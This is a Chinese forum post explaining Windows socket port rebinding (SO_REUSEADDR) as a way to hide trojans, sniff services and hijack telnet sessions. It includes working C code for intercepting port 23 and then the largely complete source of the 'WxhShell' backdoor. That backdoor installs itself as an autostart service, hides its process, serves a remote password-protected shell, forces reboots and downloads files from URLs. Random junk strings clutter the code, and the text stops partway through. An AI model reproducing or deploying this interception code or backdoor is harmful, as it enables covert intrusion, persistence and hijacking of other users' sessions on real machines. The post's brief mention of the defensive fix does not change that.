社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13573阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ny^ 1#R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *g5bdQ:Av~  
*_D/_Rp7  
  saddr.sin_family = AF_INET; 161P%sGx2  
, Ckcc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !Asncc G  
#GM^:rF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D e&,^"%  
5lsslE+:J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  ETZf  
7F<{ Qn  
  这意味着什么?意味着可以进行如下的攻击: G ;j1zs  
@*%3+9`yq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ? AfThJc  
a4:GGzt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o3 0C\  
.W]k 8N E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vQrxx  
l7`{O/hN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HZ3;2k  
}s,NM%oI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )KZMRAT-  
8eqTA8$?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BTAbDyH5  
}c G)$E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [O3:?BNY  
-A#p22D,5  
  #include kcS7)"/ zC  
  #include i1evB9FZ1z  
  #include $J1`.Q>)4  
  #include    rHKO13WF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d(IJ-qJ N  
  int main() i l^;2`]&  
  { ("U<@~  
  WORD wVersionRequested; b<FE   
  DWORD ret; ('x]@  
  WSADATA wsaData; 4,y7a=qf3  
  BOOL val; f*%kHfaXgN  
  SOCKADDR_IN saddr; Fz#@[1,  
  SOCKADDR_IN scaddr; >zJHvb)b\  
  int err; OIK x:&uIk  
  SOCKET s; T"xJY#)}  
  SOCKET sc; /r4l7K  
  int caddsize; XFWpHe_ L  
  HANDLE mt; $;5Q mKQ'  
  DWORD tid;   tW/k  
  wVersionRequested = MAKEWORD( 2, 2 ); EE 9w^.3a  
  err = WSAStartup( wVersionRequested, &wsaData ); `r$7Cc$C  
  if ( err != 0 ) { ]i {yJ)i  
  printf("error!WSAStartup failed!\n"); vW?\bH7}I  
  return -1; kZe<<iv  
  } <7P[)X_  
  saddr.sin_family = AF_INET; b8K]>yDAh  
   ^J]&($-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `W86]ut[  
: UeK0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s)Y1%#  
  saddr.sin_port = htons(23); { Zgd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [IAUJ09>I  
  { `cp\UH@  
  printf("error!socket failed!\n"); +b 6R  
  return -1; _?-oPb  
  } (MLcA\LJ  
  val = TRUE; 6Vnq|;W3Zv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [ar0{MPYd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .B]l@E-u  
  { "t^v;?4  
  printf("error!setsockopt failed!\n"); W>#yXg9  
  return -1; prZ ,4\  
  } g}MUfl-L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "Not /8J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nI6 gd%C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +q&Hj|;8r  
Y w0,K&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #*bmwb*i  
  { >'4A[$$4mM  
  ret=GetLastError(); Ki><~!L  
  printf("error!bind failed!\n"); r w!jmvHE&  
  return -1; ZWkRoJXNi  
  } ko9}?qs  
  listen(s,2); "{~5QO   
  while(1) @1CXc"IgA  
  { C*mVM!D);!  
  caddsize = sizeof(scaddr); *}\M!u{J  
  //接受连接请求 u"h/ERCa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l.@1]4.  
  if(sc!=INVALID_SOCKET) %o8o~B|{.U  
  { 6x^$W ]R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =TD`Pet  
  if(mt==NULL) { b$"SIg1E  
  { {R_>KE1  
  printf("Thread Creat Failed!\n"); TAXsL&Tz>  
  break; m,)s8_a  
  } [v~,|N>w  
  } b,Wm]N  
  CloseHandle(mt); =zFROB\  
  } AJ7w_'u=@  
  closesocket(s); ?4':~;~  
  WSACleanup(); CyIlv0fd}  
  return 0; FMdu30JV  
  }   ! AwMD  
  DWORD WINAPI ClientThread(LPVOID lpParam) uG\~Hxqw7O  
  { *I 1H  
  SOCKET ss = (SOCKET)lpParam; X%b1KG|#(  
  SOCKET sc; %mC@}  
  unsigned char buf[4096]; u ON(LavB  
  SOCKADDR_IN saddr; ~/G)z?+E  
  long num; AERJ]$\  
  DWORD val; aDdxR:  
  DWORD ret; *$=i1w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LwB1~fF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mGE!,!s}  
  saddr.sin_family = AF_INET; h]<S0/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t^'nh 1=  
  saddr.sin_port = htons(23); E !!,JnU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `/sNX<mp  
  { &D3]O9a0;  
  printf("error!socket failed!\n"); &3SS.&g4W  
  return -1; P3"R2-  
  } * BM|luYL  
  val = 100; vX:}tir[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9[qOfIny  
  { d<-f:}^k0  
  ret = GetLastError(); D;YfQQr  
  return -1; P}4&J ^  
  } .HZd.*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h,{Q%sqO  
  { | In{5E k  
  ret = GetLastError(); l\Ozy  
  return -1; egu{}5  
  } OD)X7PU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T ipH}  
  { X9| Z ?jJ  
  printf("error!socket connect failed!\n"); `bQ_eRw}  
  closesocket(sc); ?("O.<  
  closesocket(ss); ^$Y9.IH"  
  return -1; [-\Y?3  
  } +0Q   
  while(1) :^y!z1\2(7  
  { lgews"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WX4sTxJK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TO Hz3=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %DSr@IX  
  num = recv(ss,buf,4096,0); k>ErD v8  
  if(num>0) b/_Zw^DPC  
  send(sc,buf,num,0); `Moo WG  
  else if(num==0) \9[vi +T  
  break; m]?Z_*1  
  num = recv(sc,buf,4096,0); 9\"\7S/Z  
  if(num>0) btg= # u  
  send(ss,buf,num,0); b d 1^  
  else if(num==0) }{F)Ren  
  break; <%^/uS  
  } QYbB\Y  
  closesocket(ss); H?"M&mF  
  closesocket(sc); Ovt]3`U9J  
  return 0 ; qe.QF."y  
  } F>\,`wP  
-H%v6E%yh  
a{ST4d'T  
========================================================== (}b~}X9  
g !^N#o  
下边附上一个代码,,WXhSHELL ~IZ-:?+S^  
I<2`wL=  
========================================================== ?J2{6,}O*.  
Xy(QK2|  
#include "stdafx.h" O::FB.k  
 J#` 7!  
#include <stdio.h> 6SCjlaGW5  
#include <string.h> |*?N#0s5h  
#include <windows.h> W5u5!L/  
#include <winsock2.h> Fu.aV876\f  
#include <winsvc.h> &6\&McmkX  
#include <urlmon.h> yu6~:$%H  
9(]_so24,  
#pragma comment (lib, "Ws2_32.lib") cB,^?djJ3  
#pragma comment (lib, "urlmon.lib") CzV;{[?~;  
z#+WK| a  
#define MAX_USER   100 // 最大客户端连接数 \hX,z =  
#define BUF_SOCK   200 // sock buffer 7 (2}Vs!5  
#define KEY_BUFF   255 // 输入 buffer Tu(:?  
z<eu=OD4t  
#define REBOOT     0   // 重启 !EIH"`>!  
#define SHUTDOWN   1   // 关机 P"NI> HM  
+jE)kaV%  
#define DEF_PORT   5000 // 监听端口 %R$)bGT  
q.J6'v lj/  
#define REG_LEN     16   // 注册表键长度 |&@q$d  
#define SVC_LEN     80   // NT服务名长度 _-fLD  
hp)>Nzdx  
// 从dll定义API }#1.$a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  Z`*V9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -`4]u!A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZJ{DW4#t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SGl|{+(A  
U)kyq  
// wxhshell配置信息 mH,s!6j?Vp  
struct WSCFG { 4>(K~v5;N  
  int ws_port;         // 监听端口 Mg\588cI  
  char ws_passstr[REG_LEN]; // 口令 #m|el@)  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9,fV  
  char ws_regname[REG_LEN]; // 注册表键名 Mzg'$]N  
  char ws_svcname[REG_LEN]; // 服务名 MNs<yQ9I'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ai;!Q%B#Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l]|&j`'O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bpsyO>lx/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G5qsnTxUJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lx- %y'P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8nI~iN?"   
[g}^{ $`  
}; N,w6  
q<\r}1Dm  
// default Wxhshell configuration +_:p8, 5o  
struct WSCFG wscfg={DEF_PORT, .U(6])%;@  
    "xuhuanlingzhe", *?Eu{J){7%  
    1, ]yKwH 9sl  
    "Wxhshell", wp:$Tqa$  
    "Wxhshell", 8TYh&n=r  
            "WxhShell Service", eQQVfEvS  
    "Wrsky Windows CmdShell Service", pJg:afCg  
    "Please Input Your Password: ", 0 iSNom}m  
  1, ub 2'|CYw  
  "http://www.wrsky.com/wxhshell.exe", ~^.,Ftkb@7  
  "Wxhshell.exe" {Q/@Y.~<  
    }; 08:K9zr  
yHM2 9fEZk  
// 消息定义模块 x/1FQ>n:9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zpT{!V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |g7)A?2J~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NH/jkt&F[  
char *msg_ws_ext="\n\rExit."; mV]~}7*Y;  
char *msg_ws_end="\n\rQuit."; l&Q@+xb>  
char *msg_ws_boot="\n\rReboot..."; gs2qLb  
char *msg_ws_poff="\n\rShutdown..."; R@WW@ Of  
char *msg_ws_down="\n\rSave to "; C|}yE ;*a  
'q9Ejig  
char *msg_ws_err="\n\rErr!"; ] Q^8 9?  
char *msg_ws_ok="\n\rOK!"; ])pX)(a  
R&s/s`pLW  
char ExeFile[MAX_PATH]; z*nztvY@e  
int nUser = 0; 6AD&%v  
HANDLE handles[MAX_USER]; VFV8ik)  
int OsIsNt; XXwIp-'  
sUF5Y q:9  
SERVICE_STATUS       serviceStatus; VII`qbxT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P9\y~W  
 qjfv9sU  
// 函数声明 ^ &KH|qRrO  
int Install(void); R7Tl 1!,h  
int Uninstall(void); fo}@B &=4  
int DownloadFile(char *sURL, SOCKET wsh); JBQ>"X^  
int Boot(int flag); 5YZ\@<|rH  
void HideProc(void); @W+8z#xr'  
int GetOsVer(void); 21$^k5  
int Wxhshell(SOCKET wsl); KI<x`b  
void TalkWithClient(void *cs); f`8fNt  
int CmdShell(SOCKET sock); z=k*D^X  
int StartFromService(void); 0T3r#zQ  
int StartWxhshell(LPSTR lpCmdLine); >&<D.lx  
,_,7c or  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z"5e3w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \i~5H]?d  
K~L"A]+  
// 数据结构和表定义 @TKQ_7BcB  
SERVICE_TABLE_ENTRY DispatchTable[] = 7({.kD6  
{ dkEnc  
{wscfg.ws_svcname, NTServiceMain}, ]H:K$nmX  
{NULL, NULL} i\36 s$\  
}; [u3^R]  
UIQ=b;J9  
// 自我安装 *|+ ~V/#  
int Install(void) LY0/\Z"N  
{ etW-gbr  
  char svExeFile[MAX_PATH]; /C<} :R  
  HKEY key; jP @t!=  
  strcpy(svExeFile,ExeFile); Rx<[bohio  
lSId<v?C>  
// 如果是win9x系统,修改注册表设为自启动 RmN\;G?}  
if(!OsIsNt) { "2"*3R<Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )fZ5.W8UE]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JvUHoc$sI  
  RegCloseKey(key); Us9$,(3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,@gDY9Q3r/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .>zkS*oX4z  
  RegCloseKey(key); 4ri)%dl1  
  return 0; 9]8M {L  
    } N~arxe (K  
  } ,KibP_<%&P  
} \b88=^  
else { 8&f"")m  
$0iN43WSQ  
// 如果是NT以上系统,安装为系统服务 Y@%6*uTLa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZoC?9=k  
if (schSCManager!=0) ;Wr,VU]  
{ Z42v@?R.!W  
  SC_HANDLE schService = CreateService Z@iMG  
  ( %@M/)"k  
  schSCManager, fs]Zw mA^  
  wscfg.ws_svcname, &sA6o"h~  
  wscfg.ws_svcdisp, ~pSD|WX  
  SERVICE_ALL_ACCESS, &9] [ ~$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .J\U|r  
  SERVICE_AUTO_START, >-y&k^a=  
  SERVICE_ERROR_NORMAL, <Q-ufF85)  
  svExeFile, '*p-`  
  NULL, ")M.p_b[Z=  
  NULL, u= +  
  NULL, !c`Q?aGV)  
  NULL, 0\}j[-`pF  
  NULL PuABS>.;  
  ); ~KfjT p#  
  if (schService!=0) -+I! (?  
  { <F.Ol/'h  
  CloseServiceHandle(schService); 7#|NQ=yd  
  CloseServiceHandle(schSCManager); Sdt2D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &FvNz  
  strcat(svExeFile,wscfg.ws_svcname); lB\j>.c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?y45#Tk]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LveqG   
  RegCloseKey(key); +Vf|YLbhJ  
  return 0; =v5(*$"pd"  
    } ?R{?Qv  
  } 0_y%Qj^e  
  CloseServiceHandle(schSCManager); a m zw  
} ;09J;sf  
} |]\bgh  
+[ }]a3)  
return 1; /~tfP  
} 6k3l/~R  
fAUsJ[  
// 自我卸载 '}YXpB  
int Uninstall(void) K :q-[\G  
{ u#UeJu O  
  HKEY key; et ~gO!1:*  
ta6 WZu  
if(!OsIsNt) { ;qk~>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FW.dHvNX  
  RegDeleteValue(key,wscfg.ws_regname); Q#r 0DWo\  
  RegCloseKey(key); /eMZTh*1P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qiF~I0_0  
  RegDeleteValue(key,wscfg.ws_regname); t@JPnA7~  
  RegCloseKey(key); H62*8y8  
  return 0; ft6^s(t  
  } A0X0t  
} O}D8  
} CijS=-  
else { n*6s]iG V  
`U1%d7[vY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i:8^:(i  
if (schSCManager!=0) Cw|SY  
{ DVcu*UVw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n)7icSc  
  if (schService!=0) )?bb]hZg?O  
  { IP;@unBl  
  if(DeleteService(schService)!=0) { xA5$!Oq7  
  CloseServiceHandle(schService); hCvn(f  
  CloseServiceHandle(schSCManager); yK7>^p}V  
  return 0; TxCQGzqe  
  } k"7eHSy,  
  CloseServiceHandle(schService); 4vQHr!$Ep  
  } Y)*lw  
  CloseServiceHandle(schSCManager); ZAH<!@qh  
} U?lu@5 ^Z  
} O]g+z$2o  
-9*WQU9R  
return 1; _Lb& 2 PAG  
} -d3y!| \>a  
66Xt=US  
// 从指定url下载文件 g&vEc1LNo  
int DownloadFile(char *sURL, SOCKET wsh) )x7hhEk=^  
{ ,;-*q}U  
  HRESULT hr; GKtQ>39B  
char seps[]= "/"; LG|,g3&  
char *token; k0IU~y%  
char *file; qU n>  
char myURL[MAX_PATH]; bC{8yV=)  
char myFILE[MAX_PATH]; y4L9Cxvs  
MX0B$yc$  
strcpy(myURL,sURL); \-0`%k"&  
  token=strtok(myURL,seps); `x VA]GR4c  
  while(token!=NULL) JrAc]=  
  { !v L :P2  
    file=token; 8W>l(w9M  
  token=strtok(NULL,seps); \8D~,$,``|  
  } sEN@q   
Z :+#3.4$3  
GetCurrentDirectory(MAX_PATH,myFILE); 8!SiTOzR?  
strcat(myFILE, "\\"); __iyBaX  
strcat(myFILE, file); \^4$}@*]  
  send(wsh,myFILE,strlen(myFILE),0); $\!;*SSj  
send(wsh,"...",3,0); ?63JQ.;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uP]o39b;V  
  if(hr==S_OK) rfi`Bp  
return 0; FO=1P7  
else m_ m@>}ud  
return 1; OP}p;(  
\AzcW;03g[  
} AyO|9!F@A  
_[o^23Hj  
// 系统电源模块 Ig KAD#2a  
int Boot(int flag) h,'+w  
{ @EZONKT  
  HANDLE hToken; l5ds`uR#  
  TOKEN_PRIVILEGES tkp; `=DCX%Vw  
8|NJ(D-$  
  if(OsIsNt) { "%t`I)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r_E)HL/A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U.'@S8  
    tkp.PrivilegeCount = 1; I7^X;Q F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k& s7 -yY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fd&!-` T?  
if(flag==REBOOT) { PZJ 4: h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A_~5|  
  return 0; MjC%6%HI  
} k#*yhG,]'  
else { #aX@mPm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SqF.DB~  
  return 0; !gHWYWu)!  
} :[f`HY&  
  } =Zy!',,d,9  
  else { ><R.z( 4%  
if(flag==REBOOT) { AuipK*&g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i?dKmRp(@y  
  return 0; S)@vl^3ec  
} jsd]7C  
else { _lv:"/3R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GPLt<K!<#  
  return 0; '2$!thm  
} DF|s,J`98  
} zN)\2  
cCGXB|9fYR  
return 1; (<ZkmIXN  
} 1DtMY|wP  
T}Vpy`  
// win9x进程隐藏模块 }k0-?_Z=1  
void HideProc(void) +JS/Z5dl+}  
{ 6n\z53Mk  
A'QGTT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wx)U<:^e  
  if ( hKernel != NULL ) 3,L3C9V'  
  { u7P+^A97L_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cN lY=L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M03i4R@h(  
    FreeLibrary(hKernel); D8AIV K]  
  } / &D$kxz  
\R\@t] >Y  
return; L2.`1Aag  
} .`>l.gmi&  
q,+kPhHEgy  
// 获取操作系统版本 t`YZ)>Ws  
int GetOsVer(void) aC~n:0 v  
{ 0O,T=z[+>  
  OSVERSIONINFO winfo; !_-sTZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z<|_+7T  
  GetVersionEx(&winfo); Iei7!KLW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wEnuUC4j  
  return 1; =ch Af=  
  else ~K-*q{6Q  
  return 0; ;s\;78`0  
} -N7L #a  
3R%UPT0>  
// 客户端句柄模块 "G9'm  
int Wxhshell(SOCKET wsl) ) Zb`~w  
{ f./m7TZ  
  SOCKET wsh; omv6_DdZ  
  struct sockaddr_in client; jXY;V3l  
  DWORD myID; SAG` ^t  
K+@eH#Cv,(  
  while(nUser<MAX_USER) ]8m_*I!  
{ YP#AB]2\}  
  int nSize=sizeof(client); O(D5A?tv!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mk%"G=w  
  if(wsh==INVALID_SOCKET) return 1; r3H}*Wpf  
^/C $L8#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1 73<x){  
if(handles[nUser]==0) ,d>X/kd|o  
  closesocket(wsh); De nt?  
else @9uYmkcV  
  nUser++; |v$%V#Bo  
  } \YlF>{LVe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -M:hlwha  
q]N?@l]  
  return 0; }>;ht5/i/  
} ewAH'H]o  
~S^X"8(U  
// 关闭 socket ?wLdW1&PpX  
void CloseIt(SOCKET wsh) :Dk@?o@2;C  
{ r!.+XrYg  
closesocket(wsh); i,'Ka[6   
nUser--; O| 1f^_S/  
ExitThread(0); xdL/0 N3  
} 50`iCD  
EO].qN-8  
// 客户端请求句柄 X$-b oe?  
void TalkWithClient(void *cs) %]chL.s  
{ m +Q5vkW  
&8]#RQy{f  
  SOCKET wsh=(SOCKET)cs; UEEBWzH  
  char pwd[SVC_LEN]; 7bonOt Y  
  char cmd[KEY_BUFF]; ^$=tcoQG  
char chr[1]; e|b~[|;*=  
int i,j; `&u<aLA  
[Y22Wi  
  while (nUser < MAX_USER) { fwi};)K  
1C0Y0{6,  
if(wscfg.ws_passstr) { 3'[Rvy{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vQK n=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _oJ2]f6KX  
  //ZeroMemory(pwd,KEY_BUFF); Dh&:-  
      i=0; ,G[r+4|h  
  while(i<SVC_LEN) { }{&l n  
Bn~\HW\Lh  
  // 设置超时  's>#8;X  
  fd_set FdRead; ,C{^`Bk-W  
  struct timeval TimeOut; : F7k{~  
  FD_ZERO(&FdRead); NV} RRs  
  FD_SET(wsh,&FdRead); =de<WoKnu2  
  TimeOut.tv_sec=8; +z:CZ(fb  
  TimeOut.tv_usec=0; b|sc'eP#?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @PPR$4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a{]g+tGH  
l_c^ .D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "WYA  
  pwd=chr[0]; a[1sA12  
  if(chr[0]==0xd || chr[0]==0xa) { L289'Gzg  
  pwd=0; ~LawF_]6  
  break; I!fB1aq-  
  } c q*p9c  
  i++; _m9~*  
    } b:P\=k]8#  
x7 "z(rKl  
  // 如果是非法用户,关闭 socket wv, GBZ-f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /x  
} bKk CW  
[1z{T(dh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); brg":V1a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j|VXC(6 P,  
81g9ZV(4  
while(1) { Ro'jM0(KE  
Md8(`@`o  
  ZeroMemory(cmd,KEY_BUFF); |Du,UY/  
>vlQ|/C  
      // 自动支持客户端 telnet标准   / <JY:1|  
  j=0; 5oz>1  
  while(j<KEY_BUFF) { ow2M,KU6Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6xQ"bFm  
  cmd[j]=chr[0]; sA/,+aM  
  if(chr[0]==0xa || chr[0]==0xd) { a(8>n Z,V  
  cmd[j]=0; $brKl8P  
  break; 9v~1We;{$  
  } .Qd}.EG  
  j++; 1^aykrnQ>  
    } ;"1/#CY773  
&&X$d!V  
  // 下载文件  bt;lq!g  
  if(strstr(cmd,"http://")) { fd4;mc1T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uh|TDuM  
  if(DownloadFile(cmd,wsh)) ]{YN{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! L4dUMo  
  else Dba+z-3Nzy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H}vn$$ O  
  } VR "u*  
  else { hIR@^\?  
qh%i5Mu  
    switch(cmd[0]) { oG!6}5  
  7egq4gN]2Y  
  // 帮助 lZ}P{d'f.  
  case '?': { F(deu^s%{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %fHH{60  
    break; 1|W2s\  
  } ('=Z }~  
  // 安装 ytEQ`  
  case 'i': { Iq+2mQi*/k  
    if(Install()) I?^aCnU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &a.']!$^"  
    else M9gOoYf,~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y)P&]&"?  
    break; c8T/4hU MN  
    } Tru c[A.2Z  
  // 卸载 Zw+=ng.q?  
  case 'r': { O{~KR/  
    if(Uninstall()) Fav?,Q,n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Jrf/p9w  
    else d$}&nV/A)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sTiYf  
    break; Q*gnAi&.#  
    } D>P;Izb  
  // 显示 wxhshell 所在路径 0}B?sNr  
  case 'p': {  Q.yb4  
    char svExeFile[MAX_PATH]; /w0sj`;"  
    strcpy(svExeFile,"\n\r"); a_Jb> }  
      strcat(svExeFile,ExeFile); nh<Z1tMU  
        send(wsh,svExeFile,strlen(svExeFile),0); GSP?X$E  
    break; YNI;h%w  
    } yx2z%E  
  // 重启 YV-j/U{&  
  case 'b': { 1DUb [W8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q]K'p,'  
    if(Boot(REBOOT)) "rsSW 3_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n!ZMTcK8  
